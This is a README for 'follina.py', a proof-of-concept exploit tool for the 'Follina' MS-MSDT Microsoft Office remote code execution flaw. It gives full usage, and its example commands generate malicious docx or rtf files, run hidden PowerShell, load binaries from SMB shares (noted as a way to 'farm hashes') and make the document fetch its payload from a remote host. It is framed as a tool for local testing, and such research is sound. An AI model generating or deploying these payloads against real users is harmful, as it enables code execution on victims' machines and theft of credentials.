'Follina' MS-MSDT n-day Microsoft Office RCE

Quick POC to replicate the 'Follina' Office RCE vulnerability for local testing purposes. Running the script will generate a clickme.docx (or clickme.rtf) payload file in your current working directory, and start a web server with the payload file (www/exploit.html). The payload and web server parameters are configurable (see help and examples).

⚠ DO NOT USE IN PRODUCTION LEST YOU BE REGARDED A DUMMY

Usage:

$ python .\follina.py -h
usage: follina.py [-h] -m {command,binary} [-b BINARY] [-c COMMAND] -t {rtf,docx} [-u URL] [-H HOST] [-P PORT]

options:
  -h, --help            show this help message and exit

Required Arguments:
  -m {command,binary}, --mode {command,binary}
                        Execution mode, can be "binary" to load a (remote) binary, or "command" to run an encoded PS command

Binary Execution Arguments:
  -b BINARY, --binary BINARY
                        The full path of the binary to run. Can be local or remote from an SMB share

Command Execution Arguments:
  -c COMMAND, --command COMMAND
                        The encoded command to execute in "command" mode

Optional Arguments:
  -t {rtf,docx}, --type {rtf,docx}
                        The type of payload to use, can be "docx" or "rtf"
  -u URL, --url URL     The hostname or IP address where the generated document should retrieve your payload, defaults to "localhost". Disables web server if custom URL scheme or path are specified
  -H HOST, --host HOST  The interface for the web server to listen on, defaults to all interfaces (0.0.0.0)
  -P PORT, --port PORT  The port to run the HTTP server on, defaults to 80

Examples:

# Execute a local binary
python .\follina.py -t docx -m binary -b \windows\system32\calc.exe

# On linux you may have to escape backslashes
python .\follina.py -t rtf -m binary -b \\windows\\system32\\calc.exe

# Execute a binary from a file share (can be used to farm hashes 👀)
python .\follina.py -t docx -m binary -b \\localhost\c$\windows\system32\calc.exe

# Execute an arbitrary powershell command
python .\follina.py -t rtf -m command -c "Start-Process c:\windows\system32\cmd.exe -WindowStyle hidden -ArgumentList '/c echo owned > c:\users\public\owned.txt'"

# Run the web server on the default interface (all interfaces, 0.0.0.0), but tell the malicious document to retrieve it at http://1.2.3.4/exploit.html
python .\follina.py -t docx -m binary -b \windows\system32\calc.exe -u 1.2.3.4

# Only run the webserver on localhost, on port 8080 instead of 80
python .\follina.py -t rtf -m binary -b \windows\system32\calc.exe -H 127.0.0.1 -P 8080

Cool peeps

Thanks to Kevin Beaumont for his original analysis of the issue, @KevTheHermit for sharing their poc, and John Hammond for their further work on analysing payload requirements. Additional thanks to @mkolsek for the template supporting Office 2019, and @theluemmel for sharing their version of the payload with me.